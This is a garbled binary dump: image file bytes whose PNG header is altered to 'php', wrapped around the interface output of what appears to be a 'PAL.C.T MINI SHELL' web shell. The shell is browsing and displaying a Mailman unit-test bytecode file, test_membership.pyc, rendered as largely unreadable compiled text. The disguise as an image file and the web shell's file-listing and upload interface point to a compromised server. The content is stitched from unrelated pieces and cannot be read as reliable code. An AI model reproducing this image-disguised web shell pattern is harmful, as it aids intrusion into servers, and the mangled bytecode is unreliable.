‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/tests/
upload
files >> //usr/lib/mailman/tests/test_membership.pyc

Ñò
Ò¬Pc
@sôdZddkZddkZddkZddklZddklZddklZddklZddk	l
Z
ddklZdd	k
l
Z
d
e
fd„ƒYZde
fd
„ƒYZd„ZedjoeiddƒndS(s$Unit tests for OldStyleMemberships.
iÿÿÿÿN(tmm_cfg(tUtils(tMailList(t
MemberAdaptor(tNotAMemberError(tUserDesc(tTestBaset
TestNoMemberscBseZd„Zd„ZRS(cCsD|i}|i}|i}||iƒgƒ||iƒgƒ||iƒgƒ|i|idƒƒ|t|i	dƒ|t|i
dƒ||idƒddgƒ|t|i
dƒ|t|iddƒ||idƒ|iƒ|t|idtiƒ|t|idƒ|t|idƒ|t|idƒdS(Nsnobody@dom.ainsnoperson@dom.aintblarg(snobody@dom.ainsnoperson@dom.ain(tassertEqualtassertRaisest_mlistt
getMemberstgetRegularMemberKeystgetDigestMemberKeystfailIftisMemberRtgetMemberKeytgetMemberCPAddresstgetMemberCPAddressestNonetgetMemberPasswordtauthenticateMembertgetMemberLanguagetpreferred_languagetgetMemberOptionRtAcknowledgePostst
getMemberNametgetMemberTopicstremoveMember(tselfteqtraisestmlist((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_no_member$s(			


cCs|i}|i}|idƒ||iƒdgƒ||iƒdgƒ|i|idƒƒ|i|idƒƒ|i|idƒƒ||idƒdƒ||idƒdƒ||idƒdƒ||idƒdgƒ||idƒdgƒ||idƒdgƒdS(NsAPerson@dom.AINsaperson@dom.ainsAPERSON@DOM.AINsAPerson@dom.ain(saperson@dom.ain(sAPerson@dom.ain(sAPERSON@DOM.AIN(	R	RtaddNewMemberRR
t
failUnlessRRR(RRR!((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_add_member_mixed_case:s"		


(t__name__t
__module__R"R%(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyR#s	tTestMemberscBsÅeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
d„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„ZRS(c
Cs9ti|ƒ|iiddddddddd	ƒdS(
Nsperson@dom.aintdigestitpasswordtxxXXxxtlanguagetxxtrealnamesA. Nice Person(RtsetUpRR#(R((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyR/Ps
cCsC|i}|i}||iƒdgƒ||iƒdgƒ||iƒgƒ|i|idƒƒ||idƒdƒ||idƒdƒ||i	dƒddgƒ||idƒdƒ||idƒdƒ||i
dtiƒdƒ||i
dtiƒdƒ||idƒdƒ||idƒgƒdS(Nsperson@dom.ainsnoperson@dom.ainR+tenisA. Nice Person(sperson@dom.ainsnoperson@dom.ain(R	RRR
RR$RRRRRRRRRtDigestsRRR(RRR!((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_add_memberXs 		
cCsB|i}|i|iddƒƒ|i|iddƒdƒdS(Nsperson@dom.aintxxxR+(RRRR	(RR!((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_authenticationjs	cCs>|i}|i}|i}|idƒ||iƒgƒ||iƒgƒ||iƒgƒ|i|idƒƒ|t	|i
dƒ|t	|idƒ||idƒddgƒ|t	|idƒ|t	|iddƒ||idƒ|iƒ|t	|idtiƒ|t	|idƒ|t	|idƒdS(Nsperson@dom.ainsnoperson@dom.ainR(sperson@dom.ainsnoperson@dom.ain(R	R
RRRR
RRRRRRRRRRRRRRRRR(RRR R!((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_remove_memberps(			



cCsÊ|i}|i}ddd„ƒY}|ƒ}|i}|id|ƒ|idtiƒ|idƒ|t|i	dƒ|t|i
dƒ|t|idƒ||iƒgƒ||i
ƒgƒdS(NtInfocBseZRS((R&R'(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyR6Šssperson@dom.ain((R	R
Rt
setBounceInfotsetDeliveryStatusRtBYADMINRRtgetDeliveryStatustgetDeliveryStatusChangeTimet
getBounceInfotgetDeliveryStatusMemberstgetBouncingMembers(RRR R6tinfoR!((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_remove_member_clears†s				
cCst|i}|i}|i}|iddƒ||iƒdgƒ||iƒdgƒ||iƒgƒ|i|idƒƒ||i	dƒdƒ||i
dƒdƒ||id
ƒddgƒ||i
dƒdƒ||idƒdƒ||idtiƒdƒ||idtiƒdƒ||idƒdƒ||idƒgƒ||iƒdgƒ||iƒdgƒ||iƒgƒ|i|idƒƒ|t|i	dƒ|t|i
dƒ||idƒddgƒ|t|i
dƒ|t|idd	ƒ||idƒ|iƒ|t|idtiƒ|t|idƒ|t|idƒdS(Nsperson@dom.ainsnice@dom.ainsnonice@dom.ainR+R0isA. Nice Personsnoperson@dom.ainR(snice@dom.ainsnonice@dom.ain(sperson@dom.ainsnoperson@dom.ain(R	R
RtchangeMemberAddressRR
RR$RRRRRRRRRR1RRRRRRR(RRR R!((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_change_address—sD			



cCsn|i}|i}|iddƒ||idƒdƒ||iddƒdƒ|i|iddƒƒdS(Nsperson@dom.aintyyYYyyR+(R	RtsetMemberPasswordRRR(RRR!((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_set_password½s		cCsF|iiidƒ|iiddƒ|i|iidƒdƒdS(NR-sperson@dom.ain(Rtavailable_languagestappendtsetMemberLanguageR	R(R((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_set_languageÅscCsÈ|i}|ii}||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dti	ƒdƒ||dti
ƒdƒdS(Nsperson@dom.aini(R	RRRR1tDontReceiveOwnPostsRtDisableMimetConcealSubscriptiontSuppressPasswordRemindertReceiveNonmatchingTopics(RRtgmo((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_basic_optionÊs	cCsá|i}|ii}|iidtidƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dti	ƒdƒ||dti
ƒdƒ||dtiƒdƒdS(Nsperson@dom.ainii(R	RRtsetMemberOptionRR1RJRRKRLRMRN(RRRO((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_set_digestsÖs	cCsß|i}|ii}||dƒtiƒ|iidtiƒ||dƒtiƒ|iidtiƒ||dƒtiƒ|iidtiƒ||dƒtiƒ|iidti	ƒ||dƒti	ƒdS(Nsperson@dom.ain(
R	RR:RtENABLEDR8tUNKNOWNtBYUSERtBYBOUNCER9(RRtgds((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_set_disable_deliveryâs	cCs„tiƒ}tidƒ|iidtiƒ|i|iidƒ|jƒ|iidtiƒ|i	|iidƒdƒdS(Nisperson@dom.aini(
ttimetsleepRR8RRUR$R;RSR	(Rtnow((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_delivery_status_timeïs

cCsá|i}|ii}|iidtidƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dti	ƒdƒ||dti
ƒdƒ||dtiƒdƒdS(Nsperson@dom.ainii(R	RRRQRRJR1RRKRLRMRN(RRRO((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_set_dont_receive_own_postsûs	
cCsá|i}|ii}|iidtidƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dti	ƒdƒ||dti
ƒdƒ||dtiƒdƒdS(Nsperson@dom.ainii(R	RRRQRRR1RJRKRLRMRN(RRRO((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_set_acknowledge_postss	
cCsá|i}|ii}|iidtidƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dti	ƒdƒ||dti
ƒdƒ||dtiƒdƒdS(Nsperson@dom.ainii(R	RRRQRRKR1RJRRLRMRN(RRRO((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_disable_mimes	
cCsá|i}|ii}|iidtidƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dti	ƒdƒ||dtiƒdƒ||dti
ƒdƒ||dtiƒdƒdS(Nsperson@dom.ainii(R	RRRQRRLR1RJRRKRMRN(RRRO((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_conceal_subscription"s	
cCsá|i}|ii}|iidtidƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dti	ƒdƒ||dti
ƒdƒ||dtiƒdƒ||dtiƒdƒdS(Nsperson@dom.ainii(R	RRRQRRMR1RJRRKRLRN(RRRO((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_suppress_password_reminder/s	
cCsá|i}|ii}|iidtidƒ||dtiƒdƒ||dtiƒdƒ||dtiƒdƒ||dti	ƒdƒ||dti
ƒdƒ||dtiƒdƒ||dtiƒdƒdS(Nsperson@dom.ainii(R	RRRQRRNR1RJRRKRLRM(RRRO((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_receive_nonmatching_topics<s	
cCs3|iiddƒ|i|iidƒdƒdS(Nsperson@dom.ainsA. Good Person(Rt
setMemberNameR	R(R((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_member_nameIscCst|i}|i}|iddddgƒ||idƒdddgƒ|iddƒ||idƒgƒdS(Nsperson@dom.ainttopic1ttopic2ttopic3(R	RtsetMemberTopicsRR(RRR!((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_member_topicsNs		cCsK|i}|i}ddd„ƒY}|ƒ}|id|ƒ||idƒ|ƒ||idƒ|ƒ|ƒ}|id|ƒ||idƒ|ƒ||idƒ|ƒ||idƒ|ƒ||iƒdgƒ|iddƒ||iƒgƒ||idƒdƒ|id|ƒ|iddƒ||iƒgƒdS(NR6cBseZRS((R&R'(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyR6[ssperson@dom.ainsPERSON@dom.ainsPeRsOn@dom.ainsPERSON@DOM.AIN((R	RR7R<R>R(RRR!R6R?tinfo2((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyttest_bounce_infoWs&				(R&R'R/R2R4R5R@RBRERIRPRRRXR\R]R^R_R`RaRbRdRiRk(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyR(Os*						&					
		
	
	
	
	
	
			cCs<tiƒ}|ititƒƒ|ititƒƒ|S(N(tunittestt	TestSuitetaddTestt	makeSuiteRR((tsuite((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyRptst__main__tdefaultTestRp(t__doc__tosRYRltMailmanRRRRtMailman.ErrorsRtMailman.UserDescRRRR(RpR&tmain(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_membership.pyt<module>s ,ÿ&	

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚